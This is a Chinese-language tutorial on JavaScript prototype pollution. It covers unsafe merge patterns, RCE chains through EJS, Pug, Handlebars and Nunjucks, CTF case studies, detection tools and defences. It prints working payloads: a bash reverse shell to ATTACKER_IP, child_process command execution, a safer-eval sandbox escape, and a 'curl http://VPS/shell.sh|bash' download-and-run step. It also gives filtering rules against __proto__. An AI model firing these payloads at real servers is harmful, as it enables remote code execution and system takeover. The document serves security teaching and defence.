前言

原型链污染(Prototype Pollution)是 JavaScript 特有的一种漏洞类型,根源在于 JS 基于原型的继承模型。当攻击者能够修改 Object.prototype 上的属性时,应用中所有对象都会继承被污染的属性,导致认证绕过、任意代码执行、拒绝服务等严重后果。

为什么原型链污染特别危险:

特性 影响
全局影响 修改 Object.prototype → 所有 {} 都受影响
持久性 一次污染,整个进程生命周期持续生效
隐蔽性 不直接修改目标对象,通过继承间接影响,代码审计难以发现
连锁反应 影响模板引擎、认证逻辑、配置读取等看似无关的模块

近年 CVE 一览:

CVE 影响 CVSS 年份
CVE-2023-26136 tough-cookie 9.8 2023
CVE-2022-2421 express-validator 9.8 2022
CVE-2021-23440 set-value (npm) 9.8 2021
CVE-2021-23450 dojo 9.8 2021
CVE-2021-21306 marked 7.4 2021
CVE-2020-28282 getobject 8.8 2020
CVE-2019-10744 lodash.defaultsDeep 9.1 2019
CVE-2018-16487 lodash.merge 5.5 2018

本文从原型链基础讲起,系统覆盖污染入口、利用链(EJS / Pug / Handlebars / Nunjucks / DoS / 前端XSS)、检测工具和防御方案。


一、JavaScript 原型链基础

1.1 什么是原型(Prototype)

JavaScript 中除了 nullundefined,万物皆对象。每个对象都有一个内部属性 [[Prototype]](通过 __proto__Object.getPrototypeOf() 访问),指向它的原型对象。当访问一个对象的属性时,如果它自身没有这个属性,JS 引擎会沿着 __proto__ 链向上查找。

1
2
3
4
5
6
7
访问 foo.bar:
foo 自身有 bar?
→ 是 → 返回 foo.bar
→ 否 → 查 foo.__proto__.bar
→ 有 → 返回
→ 否 → 查 foo.__proto__.__proto__.bar
→ ...直到 null(原型链终点)

1.2 __proto__ vs prototype

这是初学者最容易混淆的概念:

__proto__ prototype
谁有 所有对象 仅函数(构造函数)
含义 指向当前对象的原型 指向该函数创建的实例的原型
关系 obj.__proto__ === Constructor.prototype
用途 查找属性时遍历原型链 定义所有实例共享的方法/属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function Foo() {
this.bar = 1;
}
Foo.prototype.show = function show() {
console.log(this.bar);
};

let foo = new Foo();
foo.show(); // 输出: 1

// 关系验证
console.log(foo.__proto__ === Foo.prototype); // true
console.log(Foo.prototype.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__ === null); // true —— 原型链终点

1.3 原型链继承

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Father() {
this.first_name = 'Donald';
this.last_name = 'Trump';
}

function Son() {
this.first_name = 'Melania';
}
// 将 Son 的原型设置为 Father 的实例
Son.prototype = new Father();

let son = new Son();
console.log(`Name: ${son.first_name} ${son.last_name}`);
// → Name: Melania Trump
// son 自身有 first_name="Melania",但 last_name 从原型链上的 Father 实例继承

1.4 属性查找规则(关键!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let foo = { bar: 1 };

// 此时 foo.bar = 1
console.log(foo.bar); // 1

// 污染 Object.prototype
foo.__proto__.bar = 2;

// foo 自身有 bar 属性 → 直接返回 1,不走原型链!
console.log(foo.bar); // 仍然是 1

// 新创建的空对象自身没有 bar
let zoo = {};

// 查找 zoo.bar → zoo 自身没有 → 查 zoo.__proto__ → Object.prototype → bar = 2
console.log(zoo.bar); // 2 —— 被污染了!

核心结论:

污染 Object.prototype 上的属性,只会影响自身没有同名属性的对象。已有同名属性的对象不受影响(自身属性遮蔽了原型链上的属性)。

这正是原型链污染的核心逻辑:通过污染原型链,让新创建的对象没有该属性的对象默认继承污染的值。

1.5 Python 与 JS 的区别

1
2
3
4
5
# Python 中 object 的属性不可修改
class Foo:
pass

object.__dict__['bar'] = 1 # TypeError! 无法修改 built-in 类型
1
2
3
4
// JavaScript 中 Object.prototype 可以修改
Object.prototype.bar = 2; // 完全合法!
let obj = {};
console.log(obj.bar); // 2

这就是为什么原型链污染只在 JavaScript 中存在——JS 允许在运行时修改内置类型的原型对象。


二、污染入口 —— 不安全的对象操作

原型链污染需要满足两个条件:

  1. 递归合并用户可控的数据到目标对象
  2. 合并过程中没有过滤 __proto__constructor.prototype 等特殊键

2.1 经典不安全的 merge 函数

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target && typeof target[key] === 'object') {
merge(target[key], source[key]); // 递归合并嵌套对象
} else {
target[key] = source[key]; // 直接赋值
}
}
}

攻击:

1
2
3
4
5
6
let obj = {};
merge(obj, JSON.parse('{"__proto__": {"isAdmin": true}}'));
// 现在 Object.prototype.isAdmin = true

let newUser = {};
console.log(newUser.isAdmin); // true —— 所有新对象都被污染!

为什么 target[key] 能访问到原型链?

key = "__proto__" 时:

  • key in source → true(JSON 中有这个 key)
  • key in targettrue! 因为 "__proto__" in {} 返回 true(__proto__ 是原型链上的 getter/setter)
  • typeof target[key] === 'object' → true
  • → 进入递归 merge(target["__proto__"], source["__proto__"])
  • → 实际操作的是 Object.prototype

2.2 其他不安全的操作模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 模式 1: 不安全的 extend
function extend(target, source) {
for (let key in source) {
target[key] = source[key];
}
}
// extend({}, {"__proto__": {"polluted": true}})
// → 不走递归,但 target.__proto__ 直接覆盖(部分环境有效)

// 模式 2: 不安全的 clone
function clone(obj) {
return merge({}, obj);
}

// 模式 3: 不安全的 defaultsDeep(lodash < 4.17.5)
_.defaultsDeep({}, JSON.parse('{"__proto__": {"polluted": true}}'));

// 模式 4: 不安全的路径赋值(set-value)
setValue({}, '__proto__.isAdmin', true);

// 模式 5: 不安全的 deepExtend
function deepExtend(target, ...sources) {
for (const source of sources) {
for (const key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] = target[key] || {};
deepExtend(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
}

2.3 常见 HTTP 污染入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Express + qs(将 URL 参数解析为嵌套对象)
// GET /api/user?__proto__[isAdmin]=true
app.get('/api/user', (req, res) => {
let config = {};
merge(config, req.query); // 危险!
// req.query = {"__proto__": {"isAdmin": true}}
// → Object.prototype.isAdmin = true
});

// JSON body
// POST /api/user
// Content-Type: application/json
// {"__proto__": {"isAdmin": true}}
app.post('/api/user', express.json(), (req, res) => {
let user = {};
deepExtend(user, req.body); // 危险!
});

// multipart form data → 某些库解析为对象
// 字段名: __proto__[role] = admin

2.4 如何发现污染入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. 代码审计:搜索常见危险函数
grep -rn "merge\|extend\|clone\|deepAssign\|assign\|defaultsDeep" --include="*.js"
grep -rn "for.*in.*source" --include="*.js"
grep -rn "__proto__" --include="*.js"

# 2. 黑盒测试:在每个 JSON 输入点尝试注入
# 在 POST body 中添加:
{
"__proto__": {
"testPolluted": true
}
}

# 3. 发送后观察后续请求的响应
# → 如果其他对象出现了 testPolluted 属性 → 污染成功

# 4. 使用 ppmap 等自动化工具

三、利用手法

3.1 属性覆写 —— 最简单的利用

1
2
3
4
5
6
7
8
9
// 污染
{"__proto__": {"isAdmin": true}}

// 影响
function checkAuth(user) {
if (user.isAdmin) { // 新对象默认继承 isAdmin=true
return true; // → 绕过认证!
}
}

可以覆盖的关键属性:

属性 效果
isAdmin / isAuth 认证绕过
role 角色提升
canRead / canWrite 权限提升
token 固定 token 值
verified 邮箱/手机验证绕过

3.2 EJS 模板引擎 RCE(经典链)

当应用同时满足以下条件时,可以通过原型链污染触发 EJS 的远程代码执行:

  1. 存在原型链污染入口
  2. 应用使用了 EJS 作为模板引擎

原理分析

EJS 在编译模板时会执行以下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// EJS 内部编译逻辑(简化)
function compile(template, options) {
var opts = Object.assign({}, options);

// 关键:获取 outputFunctionName,默认为 'anonymous'
var outputFunctionName = opts.outputFunctionName || 'anonymous';

// 生成函数定义字符串
var fnStr = 'function ' + outputFunctionName + '(locals) {\n';
fnStr += ' var __output = [];\n';
fnStr += ' // ... 模板渲染逻辑 ...\n';
fnStr += ' return __output.join("");\n';
fnStr += '}';

// 用 Function 构造器执行 → 创建渲染函数
return new Function('locals', fnStr);
}

攻击点: 如果 options 中没有设置 outputFunctionName,代码会查找 opts.outputFunctionName,而 opts 继承自 Object.prototype!如果 Object.prototype.outputFunctionName 被污染,EJS 就会用它来命名生成的函数。

Payload

污染 outputFunctionName 为一段 JavaScript 代码,使 Function 构造器在创建函数时执行恶意代码:

1
2
3
4
5
6
7
{
"__proto__": {
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\"');var __tmp2"
}
}
}

为什么是两层 __proto__ 有些框架会创建嵌套的对象结构,污染 Object.prototype 后还需要确保 EJS 内部创建的 opts 对象能通过原型链访问到被污染的值。不同的 merge 实现和不同的 EJS 版本可能需要调整层级。

最终生成的函数变为:

1
2
3
4
5
function _tmp1;global.process.mainModule.require('child_process').exec('...');var __tmp2(locals) {
var __output = [];
// 模板渲染逻辑
return __output.join('');
}

第一行 function _tmp1; 是个语法无效的函数声明(会被 JS 引擎忽略),global.process.mainModule.require('child_process').exec('...') 是真正执行的恶意代码,var __tmp2(locals) 后面的 {...} 是模板原始逻辑。

更简洁的 payload: "outputFunctionName": "x;return global.process.mainModule.require('child_process').execSync('id').toString();//" 可以让 EJS 渲染的输出直接被替换为命令执行结果。

前提条件

1
2
3
4
5
6
7
8
// 应用必须使用 EJS 作为模板引擎
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');

// 模板中存在用户可控的渲染
app.get('/page', (req, res) => {
res.render('page', { user: req.user });
});

完整利用链

1
2
3
4
5
1. 找到污染入口(JSON body / query params)
2. 发送污染 payload → {"__proto__": {"outputFunctionName": "..."}}
3. 访问触发模板渲染的路由
4. EJS 创建 Function(outputFunctionName) → 恶意代码被执行
5. 反弹 shell

3.3 Pug/Jade 模板引擎 RCE

Pug(原名 Jade)在编译模板时也使用了 JS 代码生成,且依赖 Object.prototype 上的属性:

1
2
// Pug 内部在编译时会读取 options 中的 debug 和 self 等属性
// 如果这些属性被污染,可能导致代码注入

Payload:

1
2
3
4
5
6
7
{
"__proto__": {
"debug": true,
"self": "true",
"line": "return process.mainModule.require('child_process').execSync('id').toString();//"
}
}

具体利用方式取决于 Pug 的版本和编译配置,核心思路仍是污染编译选项。

3.4 Handlebars RCE

Handlebars 的 compile 函数在生成模板函数时也会查 Object.prototype

1
2
3
4
5
6
7
8
9
10
{
"__proto__": {
"knownHelpers": {
"if": "return process.mainModule.require('child_process').execSync('id').toString();"
},
"precompileOptions": {
"knownHelpersOnly": false
}
}
}

3.5 Nunjucks RCE

1
2
3
4
5
6
7
8
{
"__proto__": {
"autoescape": false,
"express": {
"renderFile": "return process.mainModule.require('child_process').execSync('id').toString()"
}
}
}

3.6 服务端 DoS(拒绝服务)

1
2
3
4
// 污染 toString 或 valueOf
{"__proto__": {"toString": 123}}
// 所有依赖 toString() 的操作都会抛出 TypeError
// → 服务崩溃

3.7 前端 XSS 链

如果服务端污染了 Object.prototype,并且前端代码使用了受影响的属性,可能导致 DOM XSS:

1
2
3
4
5
6
// 服务端被污染后返回 HTML
// Object.prototype.innerHTML = '<img src=x onerror=alert(1)>'

// 前端某处执行:
// element.innerHTML = config.content || '';
// → 如果 config 自身没有 content,走原型链 → XSS!

四、CTF 中的原型链污染

4.1 典型题目特征

CTF 中原型链污染题目的常见特征:

特征 说明
merge/clone 函数 代码中出现递归合并对象的逻辑
用户可控的 JSON 输入 URL 参数或 POST body 直接传入 merge
EJS/Pug 模板引擎 app.set('view engine', 'ejs')
认证绕过 登录后根据 user.role 判断权限
qs 解析嵌套参数 Express 默认用 qs 解析 a[b]=c 格式
lodash 旧版本 lodash.merge < 4.17.5 存在已知漏洞

4.2 题目模板(审计版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const express = require('express');
const app = express();

app.use(express.json());
app.use(express.urlencoded({ extended: true })); // qs 解析 → 嵌套对象

// 不安全的 merge 函数(审计时重点关注!)
function merge(target, source) {
for (let key in source) {
if (key in source && key in target && typeof target[key] === 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}

// 用户资料更新接口
app.post('/api/update-profile', (req, res) => {
let userProfile = req.session.profile || {};
merge(userProfile, req.body); // 漏洞点!
req.session.profile = userProfile;
res.json({ msg: '更新成功' });
});

// 认证中间件
function auth(req, res, next) {
if (req.session.profile.isAdmin) { // 可能从原型链继承
req.isAdmin = true;
}
next();
}

// EJS 渲染
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');

app.get('/admin', auth, (req, res) => {
if (!req.isAdmin) return res.status(403).send('Forbidden');
res.render('admin', { flag: 'flag{...}' });
});

4.3 两种利用路径

路径一:直接属性覆写(绕过 isAdmin):

1
{"__proto__": {"isAdmin": true}}

路径二:EJS RCE(直接拿 shell 读 flag):

1
2
3
4
5
6
7
{
"__proto__": {
"__proto__": {
"outputFunctionName": "x;return global.process.mainModule.require('child_process').execSync('cat /flag').toString();//"
}
}
}

五、检测与发现

5.1 手动检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 在疑似存在污染的请求后,发送检测请求
// 如果服务端维护了全局状态,可以在另一个接口检测:

// Step 1: 发送污染 payload
POST /api/update
{"__proto__": {"__pp_test__": "polluted_v_12345"}}

// Step 2: 触发报错或 JSON 输出
GET /api/debug
// 观察响应中是否出现 __pp_test__ 或 polluted_v_12345

// Step 3: 或者触发模板渲染
GET /page
// 如果渲染出错,错误信息可能包含 prototype 相关信息

5.2 自动化工具

1
2
3
4
5
6
7
8
9
10
11
12
# ppfuzz —— 原型链污染 Fuzzer
git clone https://github.com/dwisiswant0/ppfuzz.git
cd ppfuzz
ppfuzz -u "https://target.com/api/update" -m POST -d '{"user":"test"}'

# ppmap —— 原型链污染检测工具
npx ppmap --url "https://target.com/api/endpoint"

# Burp Suite
# 1. 安装 "Server-Side Prototype Pollution Scanner" (BApp Store)
# 2. 在 Repeater 中手动测试 __proto__ payload
# 3. 观察 Collaborator 是否有 DNS/HTTP 回调

5.3 黑盒测试 Payload 集合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// === 基础探测 ===
{"__proto__": {"ppTest": "12345"}}
{"constructor": {"prototype": {"ppTest": "12345"}}}
{"__proto__.ppTest": "12345"}

// === 状态码探测(如果返回不同状态码) ===
{"__proto__": {"status": 510}}
{"__proto__": {"statusCode": 510}}

// === JSON 空格输出探测(Node.js express) ===
{"__proto__": {"json spaces": 10}}

// === Content-Type 探测 ===
{"__proto__": {"content-type": "application/x-prototype-pollution"}}

// === 错误触发探测 ===
{"__proto__": {"toString": 123}}

六、防御措施

层面 措施 说明
代码层 过滤 __proto__constructorprototype merge 时跳过这些 key
代码层 使用 Object.create(null) 创建无原型对象 作为 merge 的 target
代码层 Object.freeze(Object.prototype) 冻结原型(破坏性大,谨慎)
依赖库 lodash ≥ 4.17.5 修复了 defaultsDeep 的污染漏洞
依赖库 使用安全的 merge 库 safe-mergedeepmerge 的 clone 模式
HTTP 层 拦截含 __proto__ 的请求参数 WAF 规则
Node.js --disable-proto=delete Node.js 8.9.0+ 支持禁用 __proto__
TypeScript 使用 Map 代替普通对象存储用户数据 Map 不继承 Object.prototype

安全 merge 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function safeMerge(target, source) {
for (let key in source) {
// 阻断原型链污染的关键检查
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue;
}
if (typeof target[key] === 'object' && typeof source[key] === 'object' && target[key] !== null && source[key] !== null) {
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

使用无原型对象

1
2
3
4
5
// 将用户数据存储在无原型的对象中
let config = Object.create(null);
safeMerge(config, userInput);
// 即使绕过过滤,Object.create(null) 的 __proto__ 也是 null
// → 无法通过原型链污染 Object.prototype

JavaScript Map 替代方案

1
2
3
4
5
6
// Map 完全不继承 Object.prototype,天然免疫原型链污染
const userConfig = new Map();
userConfig.set('theme', 'dark');

// 从用户输入安全地构建配置
const safeConfig = new Map(Object.entries(userInput));

冻结 Object.prototype

1
2
3
4
// 在应用入口处冻结原型(副作用:可能破坏依赖原型链的第三方库)
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Function.prototype);

WAF 规则示例

1
2
3
4
# Nginx: 拦截 URL 中包含 __proto__ 的请求
if ($args ~* "__proto__") {
return 403;
}
1
2
3
4
5
6
7
8
// Express 中间件
app.use((req, res, next) => {
const body = JSON.stringify(req.body);
if (body.includes('__proto__') || body.includes('constructor.prototype')) {
return res.status(403).json({ error: 'Invalid request' });
}
next();
});

七、Node.js 内置防御

Node.js 在较新版本中逐步加强了对原型链污染的防御:

版本 特性
Node.js 8.9.0+ --disable-proto=delete 启动选项,移除 __proto__ 属性
Node.js 12+ Object.prototype.__proto__ 默认行为收紧
Node.js 16+ Object.hasOwn() 方法(比 obj.hasOwnProperty() 安全)
Node.js 20+ 权限模型(Permission Model),限制 child_process 等模块

Node.js Permission Model(v20+):

1
2
3
# 启动时限制 child_process
node --experimental-permission --allow-fs-read=/app/views/ server.js
# 即使原型链污染成功,也无法执行 child_process.exec()

八、快速决策树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
发现对象合并点:
├── 代码中有 merge/clone/extend 函数
│ ├── 过滤了 __proto__?→ 尝试 constructor.prototype
│ └── 使用 Object.create(null) ?→ 尝试绕过 new Object()

├── 存在模板引擎(EJS / Pug / Handlebars)
│ ├── EJS → outputFunctionName
│ ├── Pug → self / debug / line
│ └── Handlebars → knownHelpers / precompileOptions

├── 只有认证逻辑 → 覆写 isAdmin / role

└── 无模板引擎也无认证逻辑
├── → JSON spaces 输出(测污染是否成功)
├── → 批量枚举 Object.prototype 属性(看哪些被使用)
└── → 找第三方库中依赖 Object.prototype 的代码

九、CTF 实战案例

9.1 [安洵杯 2020] Validator —— express-validator 原型链污染

漏洞分析:

express-validator 依赖的 lodash 版本 < 4.17.17 存在原型链污染漏洞(CVE-2019-10744)。题目在 /login 路由中检查 info.system_open == "yes" 才返回 flag,但没有直接的 merge 函数——污染入口在 validationResult() 的参数解析中。

关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const { body, validationResult } = require('express-validator');

let info = [];

app.post("/login", (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}

if (req.body.password == "D0g3_Yes!!!") {
if (info.system_open == "yes") { // ← 需要通过原型链污染为 true
const flag = readFile("/flag");
return res.status(200).send(flag);
}
}
});

Payload:

1
2
3
4
5
{
"password": "D0g3_Yes!!!",
"a": {"__proto__": {"system_open": "yes"}},
"a\"].__proto__[\"system_open": "yes"
}

原理: lodash < 4.17.17 在处理嵌套对象路径时,未正确过滤 __proto__,导致 system_open 被写入 Object.prototype。随后 info.system_open 检查时,info 对象自身没有 system_open 属性,从原型链获取到 "yes" → 绕过检测。

9.2 Moectf 2021 fake game —— 经典 merge 函数污染

漏洞分析:

经典的 merge 递归函数,没有任何过滤,直接写 __proto__

关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function merge(a, b) {
for (let attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr]; // ← __proto__ 可以走这个分支!
}
}
return a;
}

// 游戏逻辑:需要 user 的 health/attack/armor 远大于 boss
let boss = { health: 100, attack: 100, armor: 100 };

// merge(user, req.body.attributes); ← 漏洞点
// 后续:userHealth - bossAttack 来判断能否击败 boss

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
{
"attributes": {
"health": 0,
"attack": 0,
"armor": 0,
"__proto__": {
"health": 9999999,
"attack": 99999999,
"armor": 9999999
}
}
}

原理: merge 后 user.health 虽然被设为 0(然后被 delete),但 Object.prototype.health 已经被污染为 9999999。后续代码中 let userHealth = user.health; if (userHealth === undefined) userHealth = 0; 时,user.health 从原型链拿到了 9999999,直接秒杀 boss。

9.3 [GKCTF 2020] EZ三剑客-EzNode —— safer-eval 沙箱 + setTimeout 整数溢出

漏洞组合:

两道防线,各有一个漏洞:

  1. setTimeout 整数溢出/eval 路由限制 60 秒后才能执行,但 delay 上限为 2147483647ms(约 24.8 天),超出此值发生 32 位溢出 → 回调立即执行。
  2. safer-eval 沙箱逃逸:safer-eval 库的沙箱可以被 constructor.constructor 链突破。

关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000; // 60 秒冷却
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay); // ← 溢出点
}
});

app.post('/eval', function (req, res) {
let response = saferEval(req.body.e); // ← 沙箱逃逸点
res.send(String(response));
});

利用步骤:

  1. 绕过 setTimeout:/eval?delay=2147483648 → 溢出 → 立即执行
  2. 沙箱逃逸 RCE:
1
2
3
e = clearImmediate.constructor("return process;")()
.mainModule.require("child_process")
.execSync("cat /flag").toString()

原理: clearImmediate 是 safer-eval 沙箱暴露的合法函数,它的 constructor 就是 Function 构造器。Function("return process")() 获取到沙箱外部的 process 对象 → mainModule.require() → RCE。

9.4 [网鼎杯 2020 青龙组] notes —— undefsafe 多参数污染 + for…in 命令执行

漏洞分析:

undefsafe 库允许通过路径字符串修改对象深层属性,但没有过滤 __proto__。配合 /status 路由中 for...in 遍历原型链 + exec() 执行命令,实现 RCE。

关键源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const undefsafe = require('undefsafe');

// edit_note 路由中:
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);

// status 路由中:
app.route('/status').get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) { // ← for...in 会遍历原型链!
exec(commands[index], {shell:'/bin/bash'}, ...);
}
});

攻击链:

  1. POST /edit_noteid=__proto__&author=curl http://VPS/shell.sh|bash&raw=a
  2. undefsafe(this.note_list, '__proto__.author', 'curl...') → 污染 Object.prototype.author
  3. 访问 /statusfor...in 遍历 commands 时遍历到原型链上的 author 属性
  4. exec(commands['author'])exec('curl http://VPS/shell.sh|bash') → 下载并执行恶意脚本 → 反弹 shell

undefsafe 效果演示:

1
2
3
var object = { a: { b: [1, 2, 3] } };
undefsafe(object, 'a.b.0', 10);
console.log(object); // { a: { b: [10, 2, 3] } }

undefsafe 的路径参数可以访问 __proto__,第三个参数直接赋值,且没有任何过滤。


参考